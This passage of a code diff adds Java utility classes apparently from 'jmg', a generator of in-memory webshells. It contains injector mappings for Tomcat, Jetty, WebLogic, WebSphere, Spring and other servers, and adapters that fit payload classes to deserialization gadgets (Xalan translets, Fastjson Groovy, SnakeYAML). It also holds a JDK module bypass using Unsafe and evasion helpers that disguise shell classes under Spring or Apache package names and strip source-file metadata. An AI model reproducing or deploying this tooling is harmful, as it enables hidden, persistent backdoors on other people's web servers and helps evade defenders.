return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Valve";
|
||||
}
|
||||
if (shellType.contains(Constants.SHELL_INTERCEPTOR)){
|
||||
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor";
|
||||
}
|
||||
if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){
|
||||
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler";
|
||||
}
|
||||
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,319 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.jMGCodeApi;
|
||||
import me.gv7.woodpecker.tools.common.FileUtil;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Arrays;
|
||||
import java.util.Random;
|
||||
import java.util.regex.Pattern;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
public class CommonUtil {
|
||||
|
||||
// 合并两个数组
|
||||
public static <T> T[] concatenateArrays(T[] array1, T[] array2) {
|
||||
int length1 = array1.length;
|
||||
int length2 = array2.length;
|
||||
|
||||
T[] result = Arrays.copyOf(array1, length1 + length2);
|
||||
|
||||
System.arraycopy(array2, 0, result, length1, length2);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public static void setFV(Object var0, String var1, Object val) throws Exception {
|
||||
getF(var0, var1).set(var0, val);
|
||||
}
|
||||
|
||||
public static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
|
||||
public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static String generateRandomString() {
|
||||
Random random = new Random();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
int length = random.nextInt(5) + 2;
|
||||
for (int i = 0; i < length; i++) {
|
||||
char c = (char) (random.nextInt(26) + 'a');
|
||||
if (i == 0) {
|
||||
c = Character.toUpperCase(c);
|
||||
}
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static byte[] base64Decode(String var0) throws Exception {
|
||||
byte[] var2 = null;
|
||||
|
||||
Class var1;
|
||||
try {
|
||||
var1 = Class.forName("java.util.Base64");
|
||||
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
|
||||
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, var0));
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
var1 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object var4 = var1.newInstance();
|
||||
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, var0));
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return var2;
|
||||
}
|
||||
|
||||
|
||||
public static String encodeBase64(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
|
||||
public static String genRandomLengthString(int minLength) {
|
||||
Random random = new Random();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
int length = random.nextInt(6) + minLength;
|
||||
for (int i = 0; i < length; i++) {
|
||||
char c = (char) (random.nextInt(26) + 'a');
|
||||
if (i == 0) {
|
||||
c = Character.toUpperCase(c);
|
||||
}
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
|
||||
public static String getRandomString(int length) {
|
||||
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
SecureRandom random = new SecureRandom();
|
||||
StringBuffer sb = new StringBuffer();
|
||||
for (int i = 0; i < length; i++) {
|
||||
int number = random.nextInt(52);
|
||||
sb.append(str.charAt(number));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static String getMd5(String text) throws NoSuchAlgorithmException {
|
||||
MessageDigest md5 = MessageDigest.getInstance("MD5");
|
||||
byte[] bytes = md5.digest(text.getBytes(StandardCharsets.UTF_8));
|
||||
StringBuilder builder = new StringBuilder();
|
||||
for (byte aByte : bytes) {
|
||||
builder.append(Integer.toHexString((0x000000FF & aByte) | 0xFFFFFF00).substring(6));
|
||||
}
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
|
||||
gzip.write(data);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayInputStream inputStream = new ByteArrayInputStream(compressedData);
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
|
||||
try (GZIPInputStream gzipInputStream = new GZIPInputStream(inputStream)) {
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = gzipInputStream.read(buffer)) != -1) {
|
||||
outputStream.write(buffer, 0, bytesRead);
|
||||
}
|
||||
}
|
||||
|
||||
return outputStream.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
public static byte[] getFileBytes(String file) throws Exception {
|
||||
File f = new File(file);
|
||||
int length = (int) f.length();
|
||||
byte[] data = new byte[length];
|
||||
(new FileInputStream(f)).read(data);
|
||||
return data;
|
||||
}
|
||||
|
||||
|
||||
public static String getSimpleName(String className) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
|
||||
return className.substring(lastDotIndex + 1);
|
||||
}
|
||||
return className;
|
||||
}
|
||||
|
||||
|
||||
public static String getFileOutputPath(String format_type, String class_simple_name, String output_path) {
|
||||
String file_output_path = null;
|
||||
|
||||
String fileSeparator = File.separator;
|
||||
File file = new File(output_path);
|
||||
if (output_path.endsWith(".class") || output_path.endsWith(".jar") || output_path.endsWith(".jsp")) {
|
||||
output_path = file.getParent();
|
||||
|
||||
}
|
||||
String[] parts = output_path.split(Pattern.quote(fileSeparator));
|
||||
boolean isFilePath = false; // 添加标记用于判断是否为文件路径
|
||||
for (String part : parts) {
|
||||
if (part.contains(".")) {
|
||||
isFilePath = true;
|
||||
break;
|
||||
} else {
|
||||
if (!output_path.endsWith(fileSeparator)) {
|
||||
output_path = output_path + fileSeparator;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (isFilePath) { // 如果是文件路径直接返回
|
||||
File parentDir = file.getParentFile();
|
||||
if (!parentDir.exists()) {
|
||||
parentDir.mkdirs();
|
||||
}
|
||||
return file.getAbsolutePath();
|
||||
}
|
||||
|
||||
File dir = new File(output_path);
|
||||
if (!dir.exists() || !dir.isDirectory()) {
|
||||
dir.mkdirs();
|
||||
}
|
||||
|
||||
// 判断输出格式
|
||||
switch (format_type) {
|
||||
case Constants.FORMAT_CLASS:
|
||||
file_output_path = output_path + class_simple_name + ".class";
|
||||
break;
|
||||
case Constants.FORMAT_JAR:
|
||||
case Constants.FORMAT_JAR_AGENT:
|
||||
file_output_path = output_path + class_simple_name + ".jar";
|
||||
break;
|
||||
case Constants.FORMAT_JSP:
|
||||
file_output_path = output_path + class_simple_name + ".jsp";
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return file_output_path;
|
||||
}
|
||||
|
||||
|
||||
public static void transformExtenderToFile(AbstractConfig config) throws Throwable {
|
||||
config.setJarClassName(config.getExtenderClassName());
|
||||
config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getExtenderSimpleClassName(), config.getSavePath()));
|
||||
jMGCodeApi codeApi = new jMGCodeApi(config);
|
||||
FileUtil.writeFile(config.getSavePath(), codeApi.generate());
|
||||
}
|
||||
|
||||
public static void transformToFile(AbstractConfig config) throws Throwable {
|
||||
config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
||||
jMGCodeApi codeApi = new jMGCodeApi(config);
|
||||
FileUtil.writeFile(config.getSavePath(), codeApi.generate());
|
||||
}
|
||||
|
||||
// base64/bcel/js/biginteger
|
||||
public static String transformTotext(AbstractConfig config) throws Throwable {
|
||||
jMGCodeApi codeApi = new jMGCodeApi(config);
|
||||
return new String(codeApi.generate());
|
||||
}
|
||||
|
||||
public static String getThrowableStackTrace(Throwable t) {
|
||||
StringWriter stringWriter = new StringWriter();
|
||||
PrintWriter printWriter = new PrintWriter(stringWriter);
|
||||
t.printStackTrace(printWriter);
|
||||
return stringWriter.toString();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
/**
|
||||
* 专项漏洞的处理
|
||||
*/
|
||||
public class CtClassUtil {
|
||||
private AbstractConfig config;
|
||||
private ClassPool pool;
|
||||
private CtClass ctClass;
|
||||
|
||||
public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) {
|
||||
this.config = config;
|
||||
this.pool = pool;
|
||||
this.ctClass = ctClass;
|
||||
}
|
||||
|
||||
|
||||
public byte[] modifyForExploitation() throws Exception {
|
||||
if (config.getGadgetType() != null) {
|
||||
if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) {
|
||||
applyJDKAbstractTranslet();
|
||||
}
|
||||
if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) {
|
||||
applyXALANAbstractTranslet();
|
||||
}
|
||||
|
||||
if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) {
|
||||
applyFastjsonGroovyASTTransformation();
|
||||
}
|
||||
if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) {
|
||||
applySnakeYamlScriptEngineFactory();
|
||||
}
|
||||
}
|
||||
return ctClass.toBytecode();
|
||||
}
|
||||
|
||||
|
||||
public void applyJDKAbstractTranslet() throws Exception {
|
||||
JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
|
||||
}
|
||||
|
||||
public void applyXALANAbstractTranslet() {
|
||||
try {
|
||||
JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
// Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口
|
||||
public void applyFastjsonGroovyASTTransformation() throws Exception {
|
||||
config.setImplementsASTTransformationType(true);
|
||||
JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation");
|
||||
JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation");
|
||||
}
|
||||
|
||||
// snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口
|
||||
public void applySnakeYamlScriptEngineFactory() throws Exception {
|
||||
config.setImplementsScriptEngineFactory(true);
|
||||
JavassistUtil.implementInterface(ctClass, "javax.script.ScriptEngineFactory");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package jmg.core.util;
|
||||
|
||||
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.template.*;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class InjectorUtil {
|
||||
|
||||
private static final Map<String, String> INJECTOR_CLASSNAME_MAP = new HashMap();
|
||||
private static final Map<String, Map<String, String>> classMap = new HashMap();
|
||||
|
||||
|
||||
public InjectorUtil() {
|
||||
}
|
||||
|
||||
public static String getInjectorName(String serverType, String shellType) {
|
||||
Map<String, String> injectorMap = (Map) classMap.get(serverType);
|
||||
return injectorMap == null ? "" : injectorMap.getOrDefault(shellType, "");
|
||||
}
|
||||
|
||||
public static String getInjectorClassName(String injectorName) throws Exception {
|
||||
if (INJECTOR_CLASSNAME_MAP.get(injectorName) == null) {
|
||||
throw new Exception("Invalid injector type '" + injectorName + "'");
|
||||
} else {
|
||||
return INJECTOR_CLASSNAME_MAP.getOrDefault(injectorName, "");
|
||||
}
|
||||
}
|
||||
|
||||
static {
|
||||
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName());
|
||||
Map<String, String> glassfishMap = new HashMap();
|
||||
glassfishMap.put(Constants.SHELL_LISTENER, "GlassfishListenerInjector");
|
||||
glassfishMap.put(Constants.SHELL_FILTER, "GlassfishFilterInjector");
|
||||
classMap.put(Constants.SERVER_GLASSFISH, glassfishMap);
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("JettyListenerInjector", JettyListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("JettyFilterInjector", JettyFilterInjectorTpl.class.getName());
|
||||
Map<String, String> jettyMap = new HashMap();
|
||||
jettyMap.put(Constants.SHELL_LISTENER, "JettyListenerInjector");
|
||||
jettyMap.put(Constants.SHELL_FILTER, "JettyFilterInjector");
|
||||
classMap.put(Constants.SERVER_JETTY, jettyMap);
|
||||
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("ResinListenerInjector", ResinListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("ResinFilterInjector", ResinFilterInjectorTpl.class.getName());
|
||||
Map<String, String> resinMap = new HashMap();
|
||||
resinMap.put(Constants.SHELL_LISTENER, "ResinListenerInjector");
|
||||
resinMap.put(Constants.SHELL_FILTER, "ResinFilterInjector");
|
||||
classMap.put(Constants.SERVER_RESIN, resinMap);
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("TomcatValveInjector",TomcatValveInjectorTpl.class.getName());
|
||||
Map<String, String> tomcatMap = new HashMap();
|
||||
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
|
||||
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
|
||||
tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector");
|
||||
tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector");
|
||||
tomcatMap.put(Constants.SHELL_VALVE,"TomcatValveInjector");
|
||||
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
|
||||
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("UndertowListenerInjector", UndertowListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("UndertowFilterInjector", UndertowFilterInjectorTpl.class.getName());
|
||||
Map<String, String> undertowMap = new HashMap();
|
||||
undertowMap.put(Constants.SHELL_LISTENER, "UndertowListenerInjector");
|
||||
undertowMap.put(Constants.SHELL_FILTER, "UndertowFilterInjector");
|
||||
classMap.put(Constants.SERVER_UNDERTOW, undertowMap);
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("WebLogicListenerInjector", WebLogicListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("WebLogicFilterInjector", WebLogicFilterInjectorTpl.class.getName());
|
||||
Map<String, String> weblogicMap = new HashMap();
|
||||
weblogicMap.put(Constants.SHELL_LISTENER, "WebLogicListenerInjector");
|
||||
weblogicMap.put(Constants.SHELL_FILTER, "WebLogicFilterInjector");
|
||||
classMap.put(Constants.SERVER_WEBLOGIC, weblogicMap);
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("WebSphereListenerInjector", WebSphereListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("WebSphereFilterInjector", WebSphereFilterInjectorTpl.class.getName());
|
||||
Map<String, String> websphereMap = new HashMap();
|
||||
websphereMap.put(Constants.SHELL_LISTENER, "WebSphereListenerInjector");
|
||||
websphereMap.put(Constants.SHELL_FILTER, "WebSphereFilterInjector");
|
||||
classMap.put(Constants.SERVER_WEBSPHERE, websphereMap);
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("JBossListenerInjector", TomcatListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("JBossFilterInjector", TomcatFilterInjectorTpl.class.getName());
|
||||
Map<String, String> jbossMap = new HashMap();
|
||||
jbossMap.put(Constants.SHELL_LISTENER, "JBossListenerInjector");
|
||||
jbossMap.put(Constants.SHELL_FILTER, "JBossFilterInjector");
|
||||
classMap.put(Constants.SERVER_JBOSS, jbossMap);
|
||||
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("SpringMVCInterceptorInjector", SpringMVCInterceptorInjectorTpl.class.getName());
|
||||
Map<String, String> springMVCMap = new HashMap();
|
||||
springMVCMap.put(Constants.SHELL_INTERCEPTOR, "SpringMVCInterceptorInjector");
|
||||
classMap.put(Constants.SERVER_SPRING_MVC, springMVCMap);
|
||||
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("SpringWebFluxHandlerMethodInjector", SpringWebFluxHandlerMethodInjectorTpl.class.getName());
|
||||
Map<String, String> springWebFluxMap = new HashMap();
|
||||
springWebFluxMap.put(Constants.SHELL_WF_HANDLERMETHOD, "SpringWebFluxHandlerMethodInjector");
|
||||
classMap.put(Constants.SERVER_SPRING_WEBFLUX, springWebFluxMap);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package jmg.core.util;
|
||||
|
||||
|
||||
// https://github.com/BeichenDream/Kcon2021Code/tree/master/bypassJdk
|
||||
public class JDKBypassUtil {
|
||||
|
||||
public static String bypassJDKModuleBody() throws Exception {
|
||||
return "{try {\n" +
|
||||
" Class unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" +
|
||||
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
|
||||
" unsafeField.setAccessible(true);\n" +
|
||||
" Object unsafe = unsafeField.get(null);\n" +
|
||||
" java.lang.reflect.Method getModuleM = Class.class.getMethod(\"getModule\", new Class[0]);\n" +
|
||||
" Object module = getModuleM.invoke(Object.class, (Object[]) null);\n" +
|
||||
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", new Class[]{java.lang.reflect.Field.class});\n" +
|
||||
" java.lang.reflect.Field moduleF = Class.class.getDeclaredField(\"module\");\n" +
|
||||
" Object offset = objectFieldOffsetM.invoke(unsafe, new Object[]{moduleF});\n" +
|
||||
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", new Class[]{Object.class, long.class, Object.class});\n" +
|
||||
" getAndSetObjectM.invoke(unsafe, new Object[]{this.getClass(), offset, module});\n" +
|
||||
" } catch (Exception ignored) {\n" +
|
||||
" }}";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import javassist.*;
|
||||
import javassist.bytecode.*;
|
||||
import javassist.bytecode.annotation.Annotation;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* javassist 工具类
|
||||
*/
|
||||
public class JavassistUtil {
|
||||
|
||||
private static ClassPool pool = ClassPool.getDefault();
|
||||
|
||||
public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception {
|
||||
ctClass.defrost();
|
||||
try {
|
||||
// 已存在,修改
|
||||
CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
|
||||
ctMethod.setBody(methodBody);
|
||||
} catch (NotFoundException ignored) {
|
||||
// 不存在,直接添加
|
||||
CtMethod method = CtNewMethod.make(methodBody, ctClass);
|
||||
ctClass.addMethod(method);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||
ctClass.defrost();
|
||||
try {
|
||||
// 已存在,删除
|
||||
CtField field = ctClass.getDeclaredField(fieldName);
|
||||
ctClass.removeField(field);
|
||||
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||
try {
|
||||
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||
defField.setModifiers(Modifier.PUBLIC);
|
||||
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
|
||||
} catch (NotFoundException ignored) {
|
||||
// // 不存在,直接添加
|
||||
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||
|
||||
try {
|
||||
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||
defField.setModifiers(Modifier.STATIC);
|
||||
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||
ctClass.defrost();
|
||||
try {
|
||||
// 已存在,删除
|
||||
CtField field = ctClass.getDeclaredField(fieldName);
|
||||
ctClass.removeField(field);
|
||||
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||
try {
|
||||
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||
defField.setModifiers(Modifier.PUBLIC);
|
||||
defField.setModifiers(Modifier.STATIC);
|
||||
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
|
||||
} catch (NotFoundException ignored) {
|
||||
// // 不存在,直接添加
|
||||
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||
|
||||
try {
|
||||
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||
defField.setModifiers(Modifier.STATIC);
|
||||
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void extendClass(CtClass ctClass, String superClassName) throws Exception {
|
||||
ctClass.defrost();
|
||||
CtClass interfaceClass = pool.makeClass(superClassName);
|
||||
ctClass.setSuperclass(pool.get(interfaceClass.getName()));
|
||||
}
|
||||
|
||||
public static void implementInterface(CtClass ctClass, String interfaceClassName) throws Exception {
|
||||
ctClass.defrost();
|
||||
|
||||
CtClass interfaceClass = pool.makeInterface(interfaceClassName);
|
||||
CtClass[] ctClasses = new CtClass[]{interfaceClass};
|
||||
ctClass.setInterfaces(ctClasses);
|
||||
}
|
||||
|
||||
|
||||
public static void addAnnotation(CtClass ctClass, String interfaceClassName) throws Exception {
|
||||
ctClass.defrost();
|
||||
ClassFile classFile = ctClass.getClassFile();
|
||||
ConstPool constPool = classFile.getConstPool();
|
||||
AnnotationsAttribute clazzAnnotationsAttribute = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
|
||||
Annotation clazzAnnotation = new Annotation(convertClassNameToFilePath(interfaceClassName), constPool);
|
||||
clazzAnnotationsAttribute.setAnnotation(clazzAnnotation);
|
||||
ctClass.getClassFile().addAttribute(clazzAnnotationsAttribute);
|
||||
}
|
||||
|
||||
|
||||
// 删除内存马 SourceFileAttribute (源文件名) 信息
|
||||
public static void removeSourceFileAttribute(CtClass ctClass) {
|
||||
ctClass.defrost();
|
||||
ClassFile classFile = ctClass.getClassFile2();
|
||||
|
||||
try {
|
||||
// javassist.bytecode.ClassFile.removeAttribute Since: 3.21
|
||||
CommonUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag});
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
// 兼容 javassist v3.20 及以下
|
||||
List<AttributeInfo> attributes = (List<AttributeInfo>) CommonUtil.getFV(classFile, "attributes");
|
||||
removeAttribute(attributes, SourceFileAttribute.tag);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static synchronized AttributeInfo removeAttribute(List<AttributeInfo> attributes, String name) {
|
||||
if (attributes == null) return null;
|
||||
|
||||
for (AttributeInfo ai : attributes)
|
||||
if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai;
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||
if (fieldValue != null) {
|
||||
JavassistUtil.addField(ctClass, fieldName, fieldValue);
|
||||
}
|
||||
}
|
||||
|
||||
public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||
if (fieldValue != null) {
|
||||
JavassistUtil.addStaticField(ctClass, fieldName, fieldValue);
|
||||
}
|
||||
}
|
||||
|
||||
public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception {
|
||||
if (className != null) {
|
||||
ctClass.setName(className);
|
||||
}
|
||||
}
|
||||
|
||||
public static String convertClassNameToFilePath(String className) {
|
||||
return className.replace(".", "/");
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
public class PackageNameUtil {
|
||||
|
||||
private static final String[] packageNames = {
|
||||
"org.springframework",
|
||||
"org.apache.commons",
|
||||
"org.apache.logging",
|
||||
"org.apache",
|
||||
"com.fasterxml.jackson",
|
||||
"org.junit",
|
||||
"org.apache.commons.lang",
|
||||
"org.apache.http.client",
|
||||
"com.google.gso",
|
||||
"ch.qos.logback"
|
||||
};
|
||||
|
||||
public static String generatePackageName() {
|
||||
Random random = new Random();
|
||||
String packageName = packageNames[random.nextInt(packageNames.length)];
|
||||
return packageName;
|
||||
}
|
||||
|
||||
|
||||
public static String getRandomPackageName() {
|
||||
return generatePackageName();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import java.util.AbstractMap;
|
||||
import java.util.Map;
|
||||
import java.util.Random;
|
||||
|
||||
|
||||
public class RandomHttpHeaderUtil {
